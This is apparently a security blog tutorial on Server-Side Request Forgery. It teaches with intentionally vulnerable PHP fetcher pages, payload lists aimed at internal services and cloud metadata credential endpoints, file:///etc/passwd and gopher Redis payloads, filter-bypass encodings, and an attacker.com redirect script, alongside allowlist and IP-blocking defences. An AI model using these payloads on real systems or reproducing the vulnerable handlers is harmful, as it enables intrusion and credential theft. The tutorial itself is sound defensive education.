Thilan Dissanayaka Application Security May 27

SSRF - Server Side Request Forgery

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure, or force the server to connect to arbitrary external systems, potentially leaking sensitive data.

SSRF attacks can have severe consequences because they allow attackers to:

  • Access internal systems that are not directly accessible from the internet
  • Bypass firewalls and network access controls
  • Enumerate internal network infrastructure
  • Access cloud metadata services
  • Perform port scanning on internal networks
  • Execute remote code in some cases

How SSRF Attacks Work

SSRF vulnerabilities occur when a web application fetches a remote resource without properly validating the user-supplied URL. The application acts as a proxy, making requests on behalf of the attacker to locations that may not be directly accessible to them.

Here's the typical SSRF attack flow:

  1. Vulnerable Endpoint: The application provides functionality that fetches external resources
  2. User Input: The attacker controls part or all of the URL being requested
  3. Server Request: The server makes an HTTP request to the attacker-controlled URL
  4. Internal Access: The request can target internal services, localhost, or cloud metadata
  5. Information Disclosure: The response may contain sensitive information or allow further attacks

Types of SSRF Attacks

1. Regular SSRF

The attacker can see the full response from the backend request.

2. Blind SSRF

The attacker cannot see the response but can determine if the request was made (useful for port scanning and triggering actions).

3. Semi-Blind SSRF

The attacker gets limited feedback, such as response time differences or error messages.

PHP Web Application Example

Let's examine a vulnerable PHP application and explore various SSRF attack scenarios.

Vulnerable Application

index.php (Main page with URL fetcher)

<?php
session_start();
?>

<!DOCTYPE html>
<html>
<head>
    <title>URL Fetcher Service</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .container { max-width: 800px; }
        textarea { width: 100%; height: 300px; }
        input[type="url"] { width: 100%; padding: 8px; }
        button { padding: 10px 20px; background: #007cba; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>
    <div class="container">
        <h1>URL Content Fetcher</h1>
        <p>Enter a URL to fetch its content:</p>

        <form action="fetch.php" method="POST">
            <input type="url" name="url" placeholder="https://example.com" required>
            <br><br>
            <button type="submit">Fetch Content</button>
        </form>

        <hr>

        <h2>Website Screenshot Service</h2>
        <p>Generate a screenshot of any website:</p>

        <form action="screenshot.php" method="POST">
            <input type="url" name="url" placeholder="https://example.com" required>
            <br><br>
            <button type="submit">Generate Screenshot</button>
        </form>

        <hr>

        <h2>Website Health Checker</h2>
        <p>Check if a website is up and running:</p>

        <form action="health-check.php" method="POST">
            <input type="url" name="url" placeholder="https://example.com" required>
            <br><br>
            <button type="submit">Check Health</button>
        </form>
    </div>
</body>
</html>

fetch.php (Vulnerable URL fetcher)

<?php
if (!isset($_POST['url'])) {
    header('Location: index.php');
    exit;
}

$url = $_POST['url'];

// Vulnerable: No validation of the URL
$content = file_get_contents($url);

if ($content === false) {
    $error = error_get_last();
    echo "<h2>Error fetching URL</h2>";
    echo "<p>Could not fetch content from: " . htmlspecialchars($url) . "</p>";
    echo "<p>Error: " . htmlspecialchars($error['message']) . "</p>";
} else {
    echo "<h2>Content from: " . htmlspecialchars($url) . "</h2>";
    echo "<textarea readonly>" . htmlspecialchars($content) . "</textarea>";
}

echo '<br><br><a href="index.php">Back</a>';
?>

screenshot.php (Vulnerable screenshot service)

<?php
if (!isset($_POST['url'])) {
    header('Location: index.php');
    exit;
}

$url = $_POST['url'];

// Simulate screenshot service by making HTTP request
// In reality, this might call an internal screenshot service
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'ScreenshotService/1.0');

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    echo "<h2>Screenshot Generation Failed</h2>";
    echo "<p>Could not access: " . htmlspecialchars($url) . "</p>";
} else {
    echo "<h2>Screenshot generated for: " . htmlspecialchars($url) . "</h2>";
    echo "<p>HTTP Status: " . $httpCode . "</p>";
    echo "<p>Content Length: " . strlen($response) . " bytes</p>";
    echo "<p><em>Screenshot would be generated here...</em></p>";
}

echo '<br><br><a href="index.php">Back</a>';
?>

health-check.php (Vulnerable health checker)

<?php
if (!isset($_POST['url'])) {
    header('Location: index.php');
    exit;
}

$url = $_POST['url'];

// Parse URL to extract host and port
$parsed = parse_url($url);
$host = $parsed['host'] ?? '';
$port = $parsed['port'] ?? (($parsed['scheme'] ?? '') === 'https' ? 443 : 80);

if (empty($host)) {
    echo "<h2>Invalid URL</h2>";
    echo '<a href="index.php">Back</a>';
    exit;
}

// Vulnerable: Direct connection to user-specified host/port
$startTime = microtime(true);
$connection = @fsockopen($host, $port, $errno, $errstr, 5);
$endTime = microtime(true);

$responseTime = round(($endTime - $startTime) * 1000, 2);

echo "<h2>Health Check Results</h2>";
echo "<p><strong>URL:</strong> " . htmlspecialchars($url) . "</p>";
echo "<p><strong>Host:</strong> " . htmlspecialchars($host) . "</p>";
echo "<p><strong>Port:</strong> " . $port . "</p>";
echo "<p><strong>Response Time:</strong> " . $responseTime . " ms</p>";

if ($connection) {
    echo "<p><strong>Status:</strong> <span style='color: green;'>✓ Online</span></p>";
    fclose($connection);
} else {
    echo "<p><strong>Status:</strong> <span style='color: red;'>✗ Offline</span></p>";
    echo "<p><strong>Error:</strong> " . htmlspecialchars($errstr) . "</p>";
}

echo '<br><br><a href="index.php">Back</a>';
?>

SSRF Attack Examples

1. Accessing Internal Services

Attack on localhost services:

http://localhost:22        # SSH service
http://localhost:3306      # MySQL database
http://localhost:6379      # Redis cache
http://localhost:5432      # PostgreSQL
http://127.0.0.1:8080      # Internal web service

Attack on internal network:

http://192.168.1.1/        # Router admin panel
http://10.0.0.1/           # Internal gateway
http://172.16.0.10:9200    # Elasticsearch cluster

2. Cloud Metadata Exploitation

AWS EC2 Instance Metadata:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

Google Cloud Metadata:

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure Instance Metadata:

http://169.254.169.254/metadata/instance?api-version=2021-02-01

3. Port Scanning and Service Discovery

Using the health checker to scan internal ports:

http://internal-server:21   # FTP
http://internal-server:25   # SMTP  
http://internal-server:53   # DNS
http://internal-server:139  # NetBIOS
http://internal-server:443  # HTTPS
http://internal-server:993  # IMAPS
http://internal-server:1433 # SQL Server

4. Protocol Smuggling

File Protocol:

file:///etc/passwd
file:///etc/hosts
file://C:\Windows\System32\drivers\etc\hosts

Gopher Protocol (if supported):

gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a

5. DNS Rebinding Attacks

Using DNS rebinding to bypass IP-based filters:

http://evil.com  # Resolves to internal IP through DNS manipulation

Advanced SSRF Techniques

1. URL Bypass Techniques

IP Address Encoding:

// Decimal encoding
http://2130706433/     # 127.0.0.1 in decimal
http://017700000001/   # 127.0.0.1 in octal
http://0x7f000001/     # 127.0.0.1 in hexadecimal

// IPv6
http://[::1]/          # IPv6 localhost
http://[0:0:0:0:0:ffff:127.0.0.1]/  # IPv4-mapped IPv6

URL Encoding:

http://127.0.0.1/      # Normal
http://127%2e0%2e0%2e1/ # URL encoded dots

Domain Tricks:

http://127.0.0.1.example.com/    # If example.com resolves to 127.0.0.1
http://subdomain.127.0.0.1.nip.io/  # Using nip.io service

2. Redirect-Based SSRF

redirect.php (Attacker-controlled redirect)

<?php
$target = $_GET['target'] ?? 'http://127.0.0.1:22';
header("Location: " . $target);
exit;
?>

Attack URL: http://attacker.com/redirect.php?target=http://internal-service/

SSRF Protection Methods

1. URL Validation and Allowlisting

Protected fetch.php

<?php
if (!isset($_POST['url'])) {
    header('Location: index.php');
    exit;
}

$url = $_POST['url'];

// Validate and sanitize URL
function isUrlSafe($url) {
    // Parse the URL
    $parsed = parse_url($url);

    if (!$parsed || !isset($parsed['scheme']) || !isset($parsed['host'])) {
        return false;
    }

    // Only allow HTTP and HTTPS
    if (!in_array($parsed['scheme'], ['http', 'https'])) {
        return false;
    }

    // Allowlist of permitted domains
    $allowedDomains = [
        'example.com',
        'api.example.com',
        'cdn.example.com'
    ];

    $host = strtolower($parsed['host']);

    // Check if host is in allowlist
    $isAllowed = false;
    foreach ($allowedDomains as $domain) {
        if ($host === $domain || str_ends_with($host, '.' . $domain)) {
            $isAllowed = true;
            break;
        }
    }

    if (!$isAllowed) {
        return false;
    }

    // Additional checks for IP addresses
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        return false; // Block all IP addresses
    }

    return true;
}

if (!isUrlSafe($url)) {
    echo "<h2>Blocked Request</h2>";
    echo "<p>The URL is not allowed: " . htmlspecialchars($url) . "</p>";
    echo '<br><a href="index.php">Back</a>';
    exit;
}

// Safe to fetch
$content = file_get_contents($url);

if ($content === false) {
    echo "<h2>Error fetching URL</h2>";
    echo "<p>Could not fetch content from: " . htmlspecialchars($url) . "</p>";
} else {
    echo "<h2>Content from: " . htmlspecialchars($url) . "</h2>";
    echo "<textarea readonly>" . htmlspecialchars($content) . "</textarea>";
}

echo '<br><br><a href="index.php">Back</a>';
?>

2. IP Address Filtering

function isIpBlocked($ip) {
    // Convert IP to long integer for range checking
    $ipLong = ip2long($ip);

    if ($ipLong === false) {
        return true; // Invalid IP
    }

    // Define blocked IP ranges
    $blockedRanges = [
        // Localhost
        ['127.0.0.0', '127.255.255.255'],
        // Private networks (RFC 1918)
        ['10.0.0.0', '10.255.255.255'],
        ['172.16.0.0', '172.31.255.255'],
        ['192.168.0.0', '192.168.255.255'],
        // Link-local
        ['169.254.0.0', '169.254.255.255'],
        // Multicast
        ['224.0.0.0', '239.255.255.255'],
    ];

    foreach ($blockedRanges as $range) {
        $startLong = ip2long($range[0]);
        $endLong = ip2long($range[1]);

        if ($ipLong >= $startLong && $ipLong <= $endLong) {
            return true;
        }
    }

    return false;
}

function validateUrl($url) {
    $parsed = parse_url($url);

    if (!$parsed || !isset($parsed['host'])) {
        return false;
    }

    // Resolve hostname to IP
    $ip = gethostbyname($parsed['host']);

    if ($ip === $parsed['host']) {
        // Could not resolve hostname
        return false;
    }

    // Check if IP is blocked
    if (isIpBlocked($ip)) {
        return false;
    }

    return true;
}

3. Network-Level Protection

Using cURL with restrictions:

function safeCurlRequest($url) {
    // Validate URL first
    if (!validateUrl($url)) {
        return false;
    }

    $ch = curl_init();

    // Basic settings
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 3);

    // Security settings
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

    // Disable dangerous options
    curl_setopt($ch, CURLOPT_UNRESTRICTED_AUTH, false);

    // User agent
    curl_setopt($ch, CURLOPT_USERAGENT, 'SafeClient/1.0');

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return ['response' => $response, 'http_code' => $httpCode];
}

4. DNS Resolution Control

function customDnsResolve($hostname) {
    // Use specific DNS servers
    $context = stream_context_create([
        'socket' => [
            'bindto' => '0:0', // Bind to specific interface
        ]
    ]);

    // Resolve using system DNS but validate result
    $ip = gethostbyname($hostname);

    if (isIpBlocked($ip)) {
        throw new Exception("Resolved IP is blocked: " . $ip);
    }

    return $ip;
}

5. Request Proxying

function proxyRequest($url) {
    // Use an intermediary proxy that enforces security policies
    $proxyUrl = 'https://secure-proxy.internal.com/fetch';

    $data = [
        'url' => $url,
        'timeout' => 10,
        'max_size' => 1024 * 1024 // 1MB limit
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $proxyUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Authorization: Bearer ' . INTERNAL_API_TOKEN
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);
    curl_close($ch);

    return json_decode($response, true);
}

Best Practices for SSRF Prevention

1. Input Validation

  • Implement strict URL validation
  • Use allowlists instead of blocklists
  • Validate both hostname and resolved IP addresses
  • Check for URL encoding and bypass attempts

2. Network Segmentation

  • Isolate web applications from internal services
  • Use firewalls to restrict outbound connections
  • Implement network access controls
  • Use separate networks for different service tiers

3. DNS Security

  • Use secure DNS servers
  • Implement DNS filtering
  • Monitor DNS queries for suspicious patterns
  • Consider using DNS sinkholes for known bad domains

4. Application-Level Controls

// Configuration class for SSRF protection
class SSRFProtection {
    private static $config = [
        'allowed_schemes' => ['http', 'https'],
        'allowed_domains' => ['example.com', 'api.example.com'],
        'blocked_ips' => [
            '127.0.0.0/8',
            '10.0.0.0/8',
            '172.16.0.0/12',
            '192.168.0.0/16',
            '169.254.0.0/16'
        ],
        'max_redirects' => 3,
        'timeout' => 10,
        'max_response_size' => 1048576 // 1MB
    ];

    public static function validateUrl($url) {
        // Implementation of comprehensive URL validation
        // ... (validation logic)
        return true;
    }

    public static function makeRequest($url) {
        if (!self::validateUrl($url)) {
            throw new Exception('URL validation failed');
        }

        // Safe request implementation
        // ... (request logic)
    }
}

Testing for SSRF Vulnerabilities

Manual Testing Checklist

  1. Basic SSRF Tests:

    • http://127.0.0.1
    • http://localhost
    • http://[::1]
  2. Internal Network Discovery:

    • http://192.168.1.1
    • http://10.0.0.1
    • http://172.16.0.1
  3. Cloud Metadata Services:

    • http://169.254.169.254
    • http://metadata.google.internal
  4. Protocol Testing:

    • file:///etc/passwd
    • gopher://127.0.0.1:6379
    • ftp://internal-server
  5. Encoding Bypass:

    • http://0177.0.0.1 (octal)
    • http://2130706433 (decimal)
    • http://0x7f000001 (hex)

Automated Testing Tools

  • SSRFmap - Automatic SSRF fuzzer and exploitation tool
  • Burp Suite - With SSRF detection extensions
  • OWASP ZAP - Automated SSRF scanning
  • Nuclei - YAML-based vulnerability scanner with SSRF templates

Testing Script Example

<?php
// SSRF vulnerability scanner
function testSSRF($baseUrl, $parameter) {
    $payloads = [
        'http://127.0.0.1',
        'http://localhost',
        'http://169.254.169.254',
        'file:///etc/passwd',
        'http://[::1]',
        'http://0177.0.0.1',
        'http://2130706433'
    ];

    foreach ($payloads as $payload) {
        $testUrl = $baseUrl . '?' . $parameter . '=' . urlencode($payload);

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $testUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        echo "Testing: " . $payload . "\n";
        echo "HTTP Code: " . $httpCode . "\n";
        echo "Response Length: " . strlen($response) . "\n";
        echo "---\n";
    }
}

// Usage
testSSRF('http://vulnerable-app.com/fetch.php', 'url');
?>

Real-World Impact and Examples

Notable SSRF Vulnerabilities

  1. Capital One Data Breach (2019)

    • SSRF in web application firewall
    • Access to AWS metadata service
    • 100+ million customer records exposed
  2. Shopify (2017)

    • SSRF in image processing functionality
    • Internal network access
    • $25,000 bug bounty payout
  3. Facebook (2017)

    • SSRF in image import feature
    • Internal service discovery
    • Significant security impact

Common Attack Scenarios

Scenario 1: Cloud Environment Compromise

// Attacker requests metadata service
http://169.254.169.254/latest/meta-data/iam/security-credentials/web-server-role

// Server responds with temporary AWS credentials
{
    "Code": "Success",
    "LastUpdated": "2023-01-01T12:00:00Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "...",
    "Token": "...",
    "Expiration": "2023-01-01T18:00:00Z"
}

Scenario 2: Internal Service Exploitation

// Port scan internal network
for ($i = 1; $i <= 255; $i++) {
    $target = "http://192.168.1.$i:22";
    // Test if SSH is running on internal hosts
}

// Access internal admin panels
http://192.168.1.10/admin
http://internal-jenkins.company.com/configure

Scenario 3: Database Access

// Access internal Redis instance
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0akeys%0d%0a*%0d%0a

// Access internal MongoDB
http://127.0.0.1:27017/

// Access internal Elasticsearch
http://127.0.0.1:9200/_cluster/health

Conclusion

SSRF vulnerabilities represent a significant security risk in modern web applications, particularly in cloud environments where metadata services can provide access to sensitive credentials and configuration data. The key to preventing SSRF attacks lies in implementing comprehensive input validation, network segmentation, and defense-in-depth strategies.

Key takeaways:

  1. Never trust user input - Always validate and sanitize URLs before making server-side requests
  2. Use allowlists - Prefer allowlisting known-good domains over trying to block malicious ones
  3. Validate at multiple layers - Check both hostname and resolved IP addresses
  4. Implement network controls - Use firewalls and network segmentation to limit damage
  5. Monitor and log - Track outbound requests for suspicious patterns
  6. Test regularly - Include SSRF testing in your security assessment processes

SSRF vulnerabilities are often overlooked but can provide attackers with significant access to internal systems and sensitive data. By understanding the attack vectors and implementing proper defenses, you can protect your applications from these serious security threats.

ALSO READ
Error based SQL Injection
Apr 26 Application Security

In the previous example, we saw how a classic [SQL Injection Login Bypass](https://hacksland.net/sql-injection-login-bypass) works. SQL Injection is not all about that. The real fun is we can extract....

CI/CD concepts - Interview preparation guide
Jan 05 Interview Guides

## What is CI/CD? CI/CD stands for Continuous Integration and Continuous Delivery/Deployment. CI is the practice of automatically integrating code changes from multiple contributors into a....

Exploiting a  Stack Buffer Overflow  on Linux
May 11 Exploit development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening.....

Proxy Pattern explained simply
Apr 26 Software Architecture

Sometimes you don't want or can't allow direct access to an object. Maybe it's expensive to create, needs special permissions, or you want to control access in some way. This is where the **Proxy....

AWS - Interview preparation guide
May 08 Interview Guides

## What is Amazon EC2 and what are its features? Amazon EC2 (Elastic Compute Cloud) is a web service that provides resizable compute capacity in the cloud. It allows you to launch and manage....

Understanding Assembly Language: Purpose and Structure
Mar 23 Low level Development

Assembly language is a low-level programming language that provides a human-readable representation of a computer's binary instructions. Unlike high-level languages like C, C++, or Python, which are....